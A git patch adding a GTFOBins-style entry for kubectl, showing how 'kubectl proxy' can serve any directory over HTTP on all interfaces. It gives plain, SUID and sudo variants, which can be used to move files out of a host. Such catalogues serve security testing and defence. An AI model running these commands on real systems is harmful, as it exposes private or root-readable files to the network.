From 89e2aa180e56c17fac9e0bd2507fd29fadbdd714 Mon Sep 17 00:00:00 2001 From: DLL_Cool_J <1250113+archcloudlabs@users.noreply.github.com> Date: Sat, 2 Jul 2022 08:13:12 -0400 Subject: [PATCH] Adding kubectl file-upload Also see https://www.lacework.com/blog/kubernetes-tools-are-helpful-for-your-team-and-your-attacker/ Co-authored-by: Andrea Cardaci --- _gtfobins/kubectl.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/kubectl.md diff --git a/_gtfobins/kubectl.md b/_gtfobins/kubectl.md new file mode 100644 index 0000000..72cbe46 --- /dev/null +++ b/_gtfobins/kubectl.md @@ -0,0 +1,16 @@ +--- +description: It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`. +functions: + file-upload: + - code: | + LFILE=dir_to_serve + kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/ + suid: + - code: | + LFILE=dir_to_serve + ./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/ + sudo: + - code: | + LFILE=dir_to_serve + sudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/ +---